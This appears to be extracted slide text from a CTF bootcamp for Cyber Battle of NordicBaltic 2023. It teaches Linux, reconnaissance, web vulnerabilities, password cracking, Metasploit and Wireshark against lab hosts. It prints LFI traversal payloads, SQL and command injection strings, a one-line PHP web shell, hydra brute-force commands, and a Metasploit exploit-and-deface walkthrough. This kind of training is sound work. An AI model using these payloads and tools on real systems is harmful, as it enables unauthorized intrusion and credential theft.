Cyber Battle of NordicBaltic 2023 - Bootcamp www.ctftech.com Linux Basics www.ctftech.com Keskkond CTF Tech Portal Siin asuvad sinu koolitusmaterjalid ja ülesanded https://portal.ctftech.io/ Logi sisse oma isikliku kasutajatunnusega! www.ctftech.com Mis on CTF? • CTF (Capture The Flag) - infoturbe võistlus, mis kutsub võistlejaid lahendama erinevaid ülesandeid. • Tavaliselt palutakse võistlejal leida konkreetne tekstilõik, mis võib olla serveris või veebilehe taga peidetud • Lahendust nimetatakse "flag" ehk lipuks. • CTF'e saab mängida kas individuaalselt või meeskonnas. www.ctftech.com Linux www.ctftech.com Linuxi statistika • 2019. aastal töötab 100% maailma superarvutitest Linuxil. • Maailma 25 populaarseimast veebisaidist ainult 2 ei kasuta Linuxit. • 95% serveritest, mis käitavad maailma miljonit parimat domeeni, töötavad Linuxi toel. • 90% kogu pilveinfrastruktuurist töötab Linuxil Source: https://hostingtribunal.com/blog/linux-statistics/ www.ctftech.com Linux first use • Open your favorite browser • Enter address "https://portal.ctftech.io/" • Login to the portal with your credentials www.ctftech.com Linux first use • Navigate to training module "[CBONB'23] - BOOTCAMP" and click on "Go to exercise page" www.ctftech.com Linux first use • In upper left corner click on "Start Mission" button • A pop-up will appear in the middle of your screen • Confirm your choice by clicking on "Start" button www.ctftech.com Linux first use • If all went well, you will see countdown timer and "Open Console" button • Click on "Open Console" button to open Linux console www.ctftech.com Linux first use • At the bottom part of you screen you will see Linux console • To make your Linux console bigger, click on 'CONSOLE' button • This will open console in new window www.ctftech.com Linux first use Congratulations! You have successfully logged in your Linux system www.ctftech.com Linux first use On the bottom menu bar click on "Terminal" icon (black square with $ sign), which will open Terminal application, where we will continue our Linux journey! www.ctftech.com Linux first use Small hint! If you wish to run your Linux console in full-screen mode, just click on "Fullscreen" button www.ctftech.com Linux commands Linux command example: • cal -j 2021 Command (usually) have 3 parts • command - cal • option (switch) - -j • parameter(s) - 2021 www.ctftech.com Linux commands Some options can be in long or short forms: • date -u • date --universal www.ctftech.com Linux commands Help, documentation and examples for commands • tcpdump -h • tcpdump -help • tcpdump --help www.ctftech.com Linux commands More detailed information about command (man = manual) • man tcpdump www.ctftech.com Linux commands Update packages list (required before upgrades) • apt-get -y update Searching for packages • apt-cache search firefox www.ctftech.com Linux commands Installing new software • apt-get install wget www.ctftech.com Linux commands Listing files in directory • ls To list all files (even hidden ones) and folders add '-la' to 'ls' command • ls -la www.ctftech.com Linux commands Listing all files in another directory • ls -la /var • ls -la /etc • ls -la /root www.ctftech.com Linux commands Object types: • 'drwx....' directory/folder • 'lrwx...' symbolic link • '-rwx...' regular file www.ctftech.com Linux commands Moving to new folder • cd /var/log/ Moving back to previous folder • cd Move to home folder • cd • cd ~ www.ctftech.com Linux commands Creating new folder • mkdir /root/hack-01 Creating new sub-folders • mkdir -p /root/hack-02/cboe/web View current working folder • pwd www.ctftech.com Linux commands Check file or folder permissions • stat /root/Music www.ctftech.com Linux commands Linux files and folders permissions • r - read permissions • w - write permissions • x - execute permissions To access folders, execute permissions must be set! www.ctftech.com Linux commands Removing file or folder permissions • chmod a-r /root/Music • chmod a-w /root/Music Setting file or folder permissions • chmod a+r /root/Music • chmod a+w /root/Music www.ctftech.com Linux commands Set executable permissions to the file • chmod a+x /root/.profile www.ctftech.com Linux commands Copy file • cp /root/.bashrc /root/new_file Move/rename file • mv /root/new_file /root/new_file2 Remove file • rm /root/new_file2 Remove all files and subfolder (use carefully!) • rm -rf /root/Music www.ctftech.com Linux commands Determine file type • file /etc/passwd Show detailed information about the file • stat /etc/passwd www.ctftech.com Linux commands View binary files • strings /bin/ls View text files • cat /etc/resolv.conf www.ctftech.com Linux commands View text files • more /etc/protocols • less /etc/nikto.conf Press 'q' to quit file viewer www.ctftech.com Linux commands Search string from the file (case sensitive) • grep bash /etc/passwd Search except string • grep -v bash /etc/passwd www.ctftech.com Linux commands Display 4 lines before (B) and 6 lines after (A) matching string • grep -B4 -A6 3306 /etc/services Search case-insensitive • grep -i Bash /etc/passwd www.ctftech.com Linux commands Search for string from folders recursively • grep -R bash /etc/ You can combine several 'grep' options • grep -R -i -v Bash /etc/ www.ctftech.com Linux commands Search for files from current folder • find ./ -name '*bash*' Search for files caseinsensitive • find /var/log -iname '*Log*' www.ctftech.com Linux commands Read last 13 lines from the file • tail -n13 /var/log/syslog Read file in real-time (good for online logs) • tail -f /var/log/syslog www.ctftech.com Linux commands Read first 13 lines from the file • head -n13 /var/log/syslog www.ctftech.com Linux commands Downloading files from internet • wget https://www.ctftech.com/ -O ctftech_index.html • curl https://www.ctftech.com/ -o ctftech_index.html www.ctftech.com Linux commands Saving text to the new file • echo "Hacking is cool!" > /root/file01.txt View content of the new file • cat /root/file01.txt Appending text to the file • echo "Cyber is also cool!" >> /root/file01.txt Run 'cat' again • cat /root/file01.txt www.ctftech.com Linux commands Passing one command output to another command • ls -la /etc/* | grep pass www.ctftech.com Linux commands BASE64 encoding • echo "Hello from Bootcamp!" | base64 BASE64 decoding • echo 'Q3liZXIgYW5kIGhhY2tpbmcgaXMgY29vbCEK' | base64 -d www.ctftech.com Let’s get Hands-on 01 You will see the list of available tasks www.ctftech.com Let’s get Hands-on 02 Click on task name and confirm by clicking on 'START SOLVING' button www.ctftech.com Let’s get Hands-on 03 Read task description and question and start solving it www.ctftech.com Let’s get Hands-on 04 05 If you feel stuck, you can use hints (you can use training materials and Google). Be sure to make second confirmation click, to see the hint. Hints will appear in main task window www.ctftech.com Let’s get Hands-on 06 If you found the answer (flag) to the task, type it in 07 If the answer is incorrect, you will see red warning 08 'Answer' field and click 'Submit answer' If the answer is correct, you will see green popup You can check your progress on top of main page www.ctftech.com www.ctftech.com Portide skaneerimine, DNS ja veebiserveri loetlemine www.ctftech.com Hacking Phases Reconnaissance Scanning and Enumeration Gaining Access Escalation of privileges Maintaining Access Covering Tracks www.ctftech.com Reconnaissance Passive Reconnaissance - gathering information on a target without their knowledge of your actions ▪ Example: Using the Internet to research a target (domain registrations, web pages, email addresses) Active Reconnaissance - gathering information on a target where the potential exists that your actions will be seen by the target ▪ Example: Port scanning the target domain’s network looking for hosts and open services www.ctftech.com Passive Reconnaissance ▪ ▪ ▪ ▪ ▪ WayBack Machine - https://archive.org/web/ RobTex - https://www.robtex.com/ Shodan - https://www.shodan.io/ OSINT framework - https://osintframework.com/ Google - https://www.google.com/ Passive Reconnaissance – Google hacking ▪ site:eesti.ee - will display only pages on specified domain ▪ inurl:"login.php" - will find all pages where "login.php" present in URL ▪ link:eesti.ee - will display pages with links to eesti.ee ▪ filetype:txt - will display files with txt extension ▪ cache:eesti.ee - will display cached version of page www.ctftech.com Passive Reconnaissance – Google hacking More examples ▪ "this version is not supported" - will show exact search phrase ▪ "database connected" -test +mysql ▪ "License agreement" inurl:(PDF | DOC) ▪ intitle:index.of "parent directory" ▪ intitle:index.of name size ▪ soccer filetype:pdf ▪ "#mysql dump" filetype:sql https://www.exploit-db.com/google-hacking-database www.ctftech.com What is DNS? DNS (Domain Name System) is one of the most important technologies/services on the internet, as without it the Internet would be very difficult to use. DNS provides a name to number (IP address) mapping or translation, allowing internet users to use, easy to remember names, and not numbers to access resources on a network and the Internet. www.ctftech.com What is DNS? Domain Names We can define Domain names as a unique string of characters that identifies an object within the internet. The object could represent a website, mail server etc. Some examples of domain names: ▪ ctftech.com ▪ mail.google.com ▪ www.delfi.ee ▪ firewall-hq.company.com www.ctftech.com What is IP address? IP (Internet Protocol) Address - what we call a network addressable location. Each IP address must be unique within its network. Some examples of IP addresses: ▪ 18.34.109.100 ▪ 192.168.11.28 ▪ 214.75.1.253 ▪ 8.8.8.8 www.ctftech.com DNS commands Now let's run hostname DNS lookup ▪ nslookup ctftech.com www.ctftech.com DNS commands Another way to do hostname DNS lookup ▪ host ctftech.com www.ctftech.com DNS commands Third way to do hostname DNS lookup ▪ dig ctftech.com www.ctftech.com DNS commands Each domain name has its own mail server, which is responsible for sending and delivering e-mails to and from that domain. Let's find out mail server for 'ctftech.com' domain ▪ dig -t mx ctftech.com Footprinting - dns DNS enumeration is one of the most important steps in ethical hacking and penetration testing. Instead of manually trying to resolve multiple DNS names, a dictionary (wordlist) is used in combination with special programs (scripts). Keep in mind, that enumeration technique is very noisy! Footprinting - dns (fierce) fierce - automated DNS scanner ▪ fierce --domain dns.ctf www.ctftech.com Footprinting - dns (fierce) To use custom DNS server, use '--dnsservers' option, followed by IP address of DNS server ▪ fierce --domain dns.ctf --dns-servers 192.168.114.54 www.ctftech.com Footprinting - dns (fierce) For more results we need to use bigger/better dictionary file. Let's check what wordlists are available ▪ cd /usr/lib/python3/dist-packages/fierce/lists/ ; ls -la www.ctftech.com Footprinting - dns (fierce) Use custom word list file ▪ fierce --domain dns.ctf --subdomainfile 20000.txt www.ctftech.com Footprinting - dns (gobuster) gobuster - another free, fast and powerful DNS/WEB scanner If 'gobuster' is not installed on Kali Linux, then run following command ▪ apt-get install gobuster www.ctftech.com Footprinting - dns (gobuster) To display usage options for 'gobuster' type following command ▪ gobuster dns -h www.ctftech.com Footprinting - dns (gobuster) Let's check what DNS wordlists we have ▪ ls -la /usr/share/seclists/Discovery/DNS/ www.ctftech.com Footprinting - dns (gobuster) Now let's run DNS enumeration against 'dns.ctf' domain and custom wordlist ▪ gobuster dns -d dns.ctf -w /usr/share/seclists/Discovery/DNS/subdomainstop1million-5000.txt www.ctftech.com Footprinting - more DNS enumeration tools Here're more commands/tools for DNS enumeration ▪ dnsenum ▪ dnsrecon ... and much more available on the Internet www.ctftech.com Footprinting - web sites Web scanning/enumeration is another of the most important steps in ethical hacking. It requires to use a particular methodology to uncover everything about a target web service. Enumerate means to name or list things one by one. www.ctftech.com Footprinting - web sites (dirb) dirb - web server content scanner Let's run basic web scan ▪ dirb http://shared.target05 :8080/ www.ctftech.com Footprinting - web sites (dirb) Run basic scan without sub-folder scan ▪ dirb http://shared.target05 :8080/ -r www.ctftech.com Footprinting - web sites (dirb) Run scan with request delay (786 milliseconds) ▪ dirb http://shared.target05:808 0/ -z 786 www.ctftech.com Footprinting - web sites (dirb) Run scan with custom User-Agent header ▪ dirb http://shared.target05:8080/ -a "iPhone 15.2" www.ctftech.com Footprinting - web sites (dirb) Use custom wordlist file ▪ dirb http://shared.target05:8080/ /usr/share/seclists/Discovery/Web-Content/oracle.txt Footprinting - web sites (nikto) nikto - web server vulnerability scanner Default scanning ▪ nikto -h http://shared.target05:8080/ www.ctftech.com Footprinting - web sites (nikto) You can scan multiple ports ▪ nikto h shared.target05 -p 80,81,8080 www.ctftech.com Footprinting - web sites (nikto) It is also possible to scan multiple SSL ports ▪ nikto h shared.target05 -p 443,8443 -ssl www.ctftech.com Footprinting - web sites Picking good/big dictionary is very important. Let's check what dictionaries/wordlists we have. ▪ ls -la /usr/share/wordlists/dirb/ www.ctftech.com Footprinting - web sites (gobuster) gobuster - directory/file and dns bruteforcing tool ▪ gobuster dir -u http://shared.target05:8080/ -w /usr/share/wordlists/dirb/common.txt www.ctftech.com Footprinting - web sites (gobuster) Let's use better/bigger wordlist ▪ gobuster dir -u http://shared.target05:8080/ -w /usr/share/wordlists/dirb/big.txt www.ctftech.com Footprinting - web sites (gobuster) On each request, web server returns the response code. It is important to remember most used ones: 200 - OK (request successful) 401 - Unauthorized 403 - Forbidden 404 - Not Found www.ctftech.com Footprinting - web sites (gobuster) ▪ ▪ ▪ ▪ ▪ Here're some useful options: Change User-Agent - '-a "Mozilla/5.0' Show full URLs - '-e' Follow redirects - '-r' Send username and password - '-U user -P password' Scanning - nmap nmap - Network exploration tool and security / port scanner ▪ ▪ ▪ ▪ Host Discovery Service Discovery OS Detection Advanced scanning and exploitation www.ctftech.com 87 Scanning - nmap All services you can access over the internet, linked to some ports: ▪ ▪ ▪ ▪ www.ctftech.com www - 80 https - 443 smtp - 25 imap - 143/993 Scanning - nmap Another important thing during port scanning, is state of scanned ports. If service is available, then port state is "open". State "closed" means, no service is running on that port. www.ctftech.com Scanning - nmap SYN SYN/ACK RST ATTACKER PORT IS OPEN TARGET SYN RST www.ctftech.com ATTACKER PORT IS CLOSED TARGET Scanning - nmap ▪ ▪ ▪ ▪ ▪ ▪ www.ctftech.com -n - no DNS resolution -T[0-5] - timing options -A - aggressive scan -p- - all ports -p U:53,123,T:80-90,443,3306 - precise scan -oA <filename> - save output to all formats Scanning - nmap By default, Nmap scans only the most common 1000 TCP ports, not all 65535. An example of scanning default ports: ▪ nmap shared.target05 www.ctftech.com Scanning - nmap If you would like to scan all TCP ports, it has to be specified as follows: ▪ nmap -p 0-65535 shared.target05 or alternatively: ▪ nmap -p- shared.target05 www.ctftech.com Scanning - nmap If you would like to scan 10 UDP ports: ▪ nmap -sU --top-ports 10 shared.target05 www.ctftech.com Scanning - nmap Run aggressive Nmap scan against the target (will take more time) ▪ nmap -A shared.target05 Stealthy scanning (very-very-very slow) ▪ nmap -T0 shared.target05 www.ctftech.com Version Detection with Nmap Scan TCP ports and identify available services and their versions ▪ nmap -sV -p 70-90 shared.target05 www.ctftech.com www.ctftech.com Veebi haavatavused www.ctftech.com WEB www.ctftech.com Important HTTP status codes ▪ ▪ ▪ ▪ ▪ ▪ ▪ Status code 200 – OK Status code 301 – Moved Permanently Status code 401 - Unauthorized Status code 403 – Forbidden Status code 404 – Not Found Status code 500 – Internal Server Error Status code 503 – Service Unavailable www.ctftech.com 100 OWASP Top 10 • https://owasp.org/www-project-top-ten/ "The Open Web Application Security Project" The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications. www.ctftech.com Local File Inclusion ▪ ▪ ▪ File inclusions are part of every advanced server-side scripting language on the web. They allow web applications to read files from the file system, provide download functionality, parse configuration files and do other similar tasks. If the developer fails to implement sufficient filtering an attacker could exploit the local file inclusion vulnerability. www.ctftech.com Identify: ▪ inurl:index.php?page= ▪ https://example.com/?module=contact.ph p Testing: ▪ ../../../../../../../etc/passwd ▪ php://filter/convert.base64encode/resource=/etc/passwd Local File Inclusion Example of vulnerable PHP code: <?php include($_REQUEST["file"]); ?> User request 'http://envxxx.target:81/?file=users.txt' will display 'users.txt' file. www.ctftech.com Local File Inclusion Other vulnerable PHP functions: include() include_once() require() require_once() fopen() www.ctftech.com Local File Inclusion- hands-on Open following link in your Kali browser ▪ http://envXXX.target02:1083/ www.ctftech.com SQL injection What is SQL - a special programming language designed for managing data in a databases. SQL injection is a code injection technique, used to attack database driven applications, in which malicious SQL statements are inserted into an entry field for execution. With successful SQL injection attacks, an attacker can read information from database, adding of modifying data and bypassing authentication. SQL Injection By default, entered username and password will go to SQL query SELECT * FROM users WHERE username = 'my_user' AND password = 'my_password' If query matches - user is allowed to login. www.ctftech.com SQL Injection ▪ Build SQL query so it always returns 'true' ▪ MySQL allows to use comment characters '-- ', after which, the rest of SQL statement will be ignored ▪ In some cases, try different characters ' or " • https://owasp.org/Top10/A03_2021-Injection/ SQL Injection SELECT * FROM users WHERE username = '' OR 1=1-- ' AND password = random-password SELECT * FROM users WHERE username = '' OR 1=1 www.ctftech.com SQL Injection - hands-on Navigate to 'Mission Board' in ISA web application, select 'HACKER CENTRAL' task and start solving it www.ctftech.com RCE Remote Code Execution (RCE) is the ability to trigger arbitrary code execution from one machine on another. The root causes of this issue are: - Insufficient validation of user input - Poor permissions and coding Command injection OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application. Identify: Find form fields where it's possible to add arguments to system commands Check the output of commands, sometimes output reflects native Linux commands Testing: ▪ && sleep 5 ▪ | id ▪ ; pwd www.ctftech.com Command injection - hands-on Open following link in your Kali browser ▪ http://envXXX.target02:1082/ www.ctftech.com Inspect source code When analyzing web sites pay attention to: 1. source code of web pages 2. check for comments, developer information etc. 3. inspect form fields 4. identify hidden fields and disabled fields www.ctftech.com Security Misconfiguration ▪ Unnecessary features are enabled or installed ▪ Default accounts and their passwords are still enabled and unchanged ▪ Error handling reveals stack traces or other overly informative error messages to users ▪ For upgraded systems, the latest security features are disabled or not configured securely. www.ctftech.com • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/ Vulnerable and Outdated Components Software is vulnerable, unsupported, or out of date: ▪ OS ▪ Web/application server ▪ Database management system (DBMS) ▪ Applications ▪ APIs and all components ▪ Runtime environment ▪ Libraries www.ctftech.com • https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/ Shell upload Shell upload is a web security vulnerability that allows an attacker to upload specially crafted file which allows to run system commands through web server pages. Identify: Find upload form fields where it's possible to upload files with programming language extensions (php, pl, py etc) Simple php shell: <?php system($_GET['cmd']); ?> Advanced php shell: https://code.google.com/archive/p/b374k-shell/ www.ctftech.com CTF Web Hacking Checklist ▪ ▪ ▪ ▪ ▪ Look at source code Nikto Directory enumeration (dirb, dirbuster...) LFI RCE ▪ ▪ Test user input File upload AITÄH! www.ctftech.com BRUTE-FORCING www.ctftech.com Brute Force Attack What is a Brute Force Attack? A brute force attack involves ‘guessing’ username and passwords to gain unauthorized access to a system. Brute force is a simple attack method and has a high success rate. Password brute-force Submitting many passwords or passphrases with the hope of eventually guessing correctly Lowercase letters - a-z Numbers - 0-9 Lower- and uppercase letters - a-zA-Z Lower-,uppercase and numbers - a-zA-Z0-9 Dictionary files (/usr/share/seclists/ or github) www.ctftech.com Password brute-force hydra hydra - fast network logon cracker Supports different protocols: ▪ ssh, http-get (for basic authentication), ftp, mysql, https etc. ▪ Single user or user lists (online user per line) ▪ ipv4 and ipv6 ▪ Multithreading Password brute-force - hydra To successfully brute-force passwords you need to have a good dictionary file. 'Rockyou' is one of the most-used wordlists for brute-forcing the passwords. By default, the 'Rockyou' file is compressed, to save the disk space. Before using it, we need to uncompress it • gunzip /usr/share/wordlists/rockyou.txt.gz Password brute-force - hydra 'Rockyou' wordlist contains over 14 million records ▪ wc -l /usr/share/wordlists/rockyou.txt Let's peek inside that file ▪ less /usr/share/wordlists/rockyou.txt www.ctftech.com Password brute-force - hydra Very often you must use certain length of passwords. For example, cracking WiFi passwords, requires password with minimal length of 8 characters and maximum 63. To filter out unneeded passwords from 'rockyou' wordlist, run following command: ▪ cat /usr/share/wordlists/rockyou.txt | pw-inspector -m 8 -M 63 > wifi_passwords Check how many passwords you have: ▪ wc -l wifi_passwords www.ctftech.com Password brute-force - hydra Firstly, let's run 'nmap' scanner against the target machine, to identify SSH service, which will be brute-forced. We will run 'version detection' scan against all ports: ▪ nmap -sV -p- envXXX.target Note! Replace XXX with your environment 3-digit number www.ctftech.com Password brute-force - hydra Since brute-forcing can be very time consuming, we will use smaller dictionary file. Let's download the file: ▪ wget http://shared.target05/wordlist01.txt Note! During CTFs, it's advised to use 'Rockyou' dictionary, if not said otherwise. www.ctftech.com Password brute-force - hydra Let's make short overview of 'hydra' options: -l username - use specific username -L users.txt - use file 'users.txt' with several usernames -p password - use specific password -P pass.txt - use file 'pass.txt' with several passwords Target system can be defined as 'imap://target.server:143/', 'http://www.site.com/backup/' or 'ssh://192.168.11.11:22/' www.ctftech.com Password brute-force - hydra Once we have a plain-text wordlist file, we can proceed with password brute-forcing. Type in following command in you Kali Linux terminal ▪ hydra -l test -P wordlist01.txt ssh://envXXX.target:2221/ www.ctftech.com Password brute-force - hydra After ssh password was found, let's verify credentials and connect to remote machine ▪ ssh -p 2221 -l test envXXX.target www.ctftech.com Password brute-force - hydra As mentioned before, 'hydra' allows to brute-force numerous protocols and services. Let's see how brute-forcing works for web login forms. We use web server located at the address: 'http://shared.target05/'. First step is to find the correct page, where web login form present. We use 'dirb' to scan the web server: ▪ dirb http://shared.target05/ -r www.ctftech.com Password brute-force - hydra Opening 'http://shared.target05/admin/' in the browser, shows us the login page. Be sure, to open site in Kali Linux browser! www.ctftech.com Password brute-force - hydra To successfully brute-force web forms, we have to do several preparation steps. In browser, enter some random username and password, to see what message you will receive with wrong credentials. Remember it or write it down. www.ctftech.com Password brute-force - hydra Next step is to view HTML source code of the login form. Right-click on page and select 'View Page Source' or type 'Ctrl-u' www.ctftech.com Password brute-force - hydra Next, very important step, is to identify login form input field names and submit button value. After reviewing the source code, we have following data: input type="text" name="name" input type="password" name="password" input type="submit" name="submit" value="login" www.ctftech.com Password brute-force - hydra Now, let's define options for 'hydra' Login: "-l admin" Password: "-P wordlist01.txt" Target: "shared.target05" Service: "http-post-form" Login query: "/admin/index.php:name=admin&password=^PASS^&submit=login:Wrong credentials." www.ctftech.com Password brute-force - hydra Final 'hydra' command with all required options will be following: ▪ hydra -l admin -P wordlist01.txt shared.target05 http-post-form "/admin/index.php:name=admin&password=^PASS^&submit=lo gin:Wrong credentials." www.ctftech.com Password brute-force - hydra The final step would be verifying credentials, which were brute-forced with 'hydra' tool www.ctftech.com Password brute-force - hydra 'hydra' brute-force tool has also a graphical version - 'xhydra' www.ctftech.com Password brute-force - patator patator - multi-purpose brute-forcing tool written in Python www.ctftech.com Password brute-force – hands on zip Create password protected zip file ▪ zip -e --password hello test.zip /etc/* www.ctftech.com Password brute-force – hands on zip Let's try to unzip 'test.zip' without entering correct password ▪ unzip test.zip As you can see, without correct password files were not extracted www.ctftech.com Password brute-force – hands on zip Now, let's brute-force password protected zip file ▪ patator unzip_pass zipfile=test.zip password=FILE0 0=/usr/share/wordlists/rockyou.txt www.ctftech.com Password brute-force – hands on zip By default, 'patator' will display all attempts, to show only successful attempts, append '-x ignore:code!=0' at the end of command ▪ patator unzip_pass zipfile=test.zip password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:code!=0 www.ctftech.com Password brute-force – hands on zip Once password for ZIP file was found, let's try do unpack the archive ▪ unzip test.zip As you can see, files were successfully extracted from password protected archive. Congratulations! www.ctftech.com Wordlist generation with 'cupp' cupp - a powerful tool for generating a wordlist for brute-force attacks. It's written in Python and hence cross-compatible with almost any platform capable of running Python scripts. cupp generates passwords based on the keywords entered (name, wife's name, pet's name, phone number, and so on) Wordlist generation with 'cupp' 'cupp' program is not installed on Kali Linux by default. Let's install it, by running following command: ▪ apt-get install cupp www.ctftech.com Wordlist generation with 'cupp' If 'cupp' installed, run it in interactive mode ▪ cupp -i Enter required data www.ctftech.com Wordlist generation with 'cupp' When wordlist generation is completed, you will see filename and a total number of generated words. To view content of the file, type following command: ▪ more peeter.txt www.ctftech.com Password brute-force John the Ripper is a free password and hashes cracking software tool. It work in 2 different ways: Dictionary attack - tool tries passwords provided in a pre-fed list of large number of words, phrases and possible passwords. The tool enters every single password in the application from the list, in an attempt to find the correct one Password brute-force Brute-force attack - tool asks the user to configure a few settings, for example, the minimum and maximum lengths the correct password may fall into and what types of characters it could possibly consist of (e.g., letters only, letters and numbers, or special characters). The process can be effective but very slow. For example, a 9-character password comprising a mix of upper- and lowercase letters along with digits and special characters will take over nine years to be guessed by a computer. Password brute-force To view John the Ripper options type following command ▪ john --help www.ctftech.com Password brute-force Let's see how it works. Create sample file with password hash ▪ echo 'admin:$apr1$aD6akid.$eYffjlT90amnZvq1Cb6V60' > /root/password Check content of the file ▪ cat /root/password Password brute-force Let's now crack the hash ▪ john /root/pass word www.ctftech.com Password brute-force To use custom dictionary file, add '--wordlist=' option with dictionary file location ▪ www.ctftech.com john /etc/shadow --wordlist=wordlist01.txt Wireless hacking Download network capture file ▪ wget http://shared.target05/bootcamp/wpa_handshak e-01.cap Wireless hacking To verify network capture for valid 4-way handshake run following command ▪ aircrack-ng wpa_handshake-01.cap Wireless hacking Unpack 'Rockyou' dictionary file ▪ gunzip /usr/share/wordlists/rockyou.txt.gz This dictionary file has over 14 million words in it ▪ wc -l /usr/share/wordlists/rockyou.txt www.ctftech.com Wireless hacking Now you can start cracking for WiFi password ▪ aircrack-ng wpa_handshake-01.cap -w /usr/share/wordlists/rockyou.txt www.ctftech.com AITÄH! www.ctftech.com METASPLOIT www.ctftech.com Metasploit Metasploit - very powerful tool which can be used by ethical hackers to probe systematic vulnerabilities on networks and servers. Metasploit uses modular approach. Most used modules are: ▪ Exploits - computer programs stored in the database that allows the attacker to access the victim’s device when executed on a client machine ▪ Posts - post-exploitation modules that could be used on infected targets to obtain specific information such as evidence, pivot, and go further into a victim’s network and system www.ctftech.com Metasploit ▪ ▪ ▪ Payloads - payload is a collection of guidelines that the victim’s machine will execute once it has been compromised Auxiliary - can be used for port scanning, sniffing, and DOS attacks, among other things Encoders - obfuscate your shellcode. They pack your payload into a selfdecrypting blob of shellcode which becomes the original one when executed. www.ctftech.com Metasploit To start Metasploit, open new terminal window and type in following command: ▪ msfconsole www.ctftech.com Metasploit To view help information, type help in MSF prompt ▪ help www.ctftech.com Metasploit To view help information for specific command, type 'help' followed by command name ▪ help connect ▪ help use www.ctftech.com Metasploit Our target will 'http://envXXX.target:581/'. Replace XXX with your environment 3-digit number (can be found on your Kali terminal prompt). Open site in Kali's browser and review the page. www.ctftech.com Metasploit Use 'search' command followed by desired search strings ▪ search phpmailer www.ctftech.com Metasploit Set the exploit name to use ▪ use exploit/multi/http/phpmailer_arg_injection Use 'tab' key to auto-complete module names. Note! You can quickly jump to exploit by typing 'use' followed by search result number ▪ use 0 www.ctftech.com Metasploit Check exploit options ▪ show options Pay attention to 'Required' options. Metasploit will not run exploit, if not all required options are set. www.ctftech.com Metasploit Setting/changing exploit options ▪ set RHOSTS envXXX.target ▪ set RPORT 86 Metasploit Re-check exploit options ▪ show options www.ctftech.com Metasploit To view advanced options for selected module, use following syntax ▪ show options advanced www.ctftech.com Metasploit Exploit the target system with following command ( '-j' option will exploit the target machine in the background) ▪ run -j www.ctftech.com Metasploit To list active sessions, run following command ▪ sessions -l We can see here, that there're no active sessions. This means, that exploit did not work for some reasons. We have to review/change exploit options. www.ctftech.com Metasploit One of the options 'WEB_ROOT' for our exploit is already set, but target system might have different path to the web root. Open terminal window and let's run 'dirb' web scanner against the target and try find correct web root location. ▪ dirb http://envXXX.target:581/ www.ctftech.com Metasploit Open 'http://envXXX.target:581/phpinfo.php' in you Kali Linux web browser and search for some hints www.ctftech.com Metasploit Once we found correct web root location, let's adjust settings in Metasploit, review the exploit settings and run it ▪ set WEB_ROOT /www ▪ show options ▪ run -j When target is successfully exploited and session is created, then you will see in your terminal window "Session opened" message. www.ctftech.com Metasploit Exploit the target system with following command ( '-j' option will exploit the target machine in the background) ▪ run -j Alias command to exploit the target system and start using it ▪ exploit www.ctftech.com Metasploit During active usage of MSF, you may have several active sessions available. To list active sessions, type following command ▪ sessions -l www.ctftech.com Metasploit To interact with desired session, use following command ▪ sessions -i 1 Note! Be sure to pick correct session number. www.ctftech.com Metasploit To view help for payload module, type following command ▪ help www.ctftech.com Metasploit 'meterpreter' prompt allows you to run basic commands, which will be executed on remote machine ▪ ls -la /etc ▪ ▪ getuid localtime www.ctftech.com Metasploit To access Linux shell on the remote machine, type following command ▪ shell This will allow you to run native Linux commands. Also, you will not see Linux 'prompt' www.ctftech.com Metasploit Now it's time to do..... ▪ pwd ▪ echo 'Hacked' > /www/hack.html ▪ ls -la /www/ www.ctftech.com Metasploit Verify newly created html from your browser. Use following address: 'http://envXXX.target:581/hack.html' www.ctftech.com Metasploit To leave the session, but keep it active type following command ▪ bg www.ctftech.com Metasploit To exit active session, type following command ▪ exit www.ctftech.com Metasploit To quit Metasploit type 'exit' again www.ctftech.com Wireshark www.ctftech.com What is Wireshark? ▪ ▪ ▪ ▪ Most popular network analysis tool 500000+ downloads per month Works on most platforms And it's free! www.ctftech.com 192 What can Wireshark do? Find top talkers on the network See communications in "clear text" Detect various network misconfigurations Identify network reconnaissance processes ▪ etc. ▪ ▪ ▪ ▪ www.ctftech.com Starting Wireshark To open graphical network traffic analyzer, run "wireshark" from command line ▪ www.ctftech.com wireshark Wireshark To start capturing live network traffic, double-click on interface name. If interface name is unknown, select 'any' www.ctftech.com Wireshark ▪ ▪ ▪ You will see live traffic to/from your Kali Linux machine In main window you will source and destination IP addresses, port numbers, protocols and some additional information Do not leave wireshark running for very long time, as it can make your system less responsive www.ctftech.com Wireshark To stop live traffic capture, press red square button www.ctftech.com Wireshark Network traffic search filters allow you to find specific packets www.ctftech.com Wireshark filters Protocol filters www.ctftech.com ▪ http - search for HTTP traffic ▪ dns - search for DNS traffic ▪ ftp - search for FTP traffic ▪ arp - search for ARP traffic Wireshark filters IP filters www.ctftech.com ▪ ip.addr == 192.168.0.0/16 ▪ ip.dst == 172.16.0.0/12 ▪ ip.src == 10.0.0.0/8 ▪ ip.host == ping.eu Wireshark filters Port filters ▪ tcp.port eq 25 ▪ udp.port eq 161 ▪ tcp.port vs tcp.dstport www.ctftech.com Wireshark filters Conditions and more ▪ ▪ ▪ ▪ ▪ ▪ www.ctftech.com || or && and ! not (negate) != ne contains matches Wireshark filters Combining all together: ▪ ip.addr==10.2.3.4 && port==80 ▪ ip.src==192.168.0.105 and (udp.port==53 or tcp.port==80) Wireshark filters HTTP filters: ▪ http.request.method == "POST" ▪ http.request.method matches "(GET|POST)" ▪ http.request.uri contains "/profile_images/" Wireshark filters HTTP filters: ▪ http.request.uri matches "\.(?i)(exe|zip|7z)" ▪ http.response.code > 399 ▪ http.user_agent contains "Firefox" ▪ ▪ http.request.method =="GET" && http matches "\.(?i)(exe|zip|jar|tar)" Wireshark hands-on ▪ Open Wireshark ▪ Start traffic capture (select correct interface or any) ▪ Visit http://shared.target05/bootcamp/DSCN0021.jpg in your Kali browser ▪ Stop capturing network traffic ▪ Analyze packet capture by typing 'http' in search filter Wireshark To view detailed TCP/UDP stream, rightclick on desired packet, select 'Follow' and 'TCP Stream' www.ctftech.com Wireshark Detailed view window will contain all information from select network stream. Red color is a request and blue color text is a response. www.ctftech.com Extracting Data If traffic is not encrypted, then you can extract files directly from Wireshark Files can be images, archives, documents, PDF files etc. www.ctftech.com Wireshark Navigate to 'File' -> 'Export Objects' -> 'HTTP...' 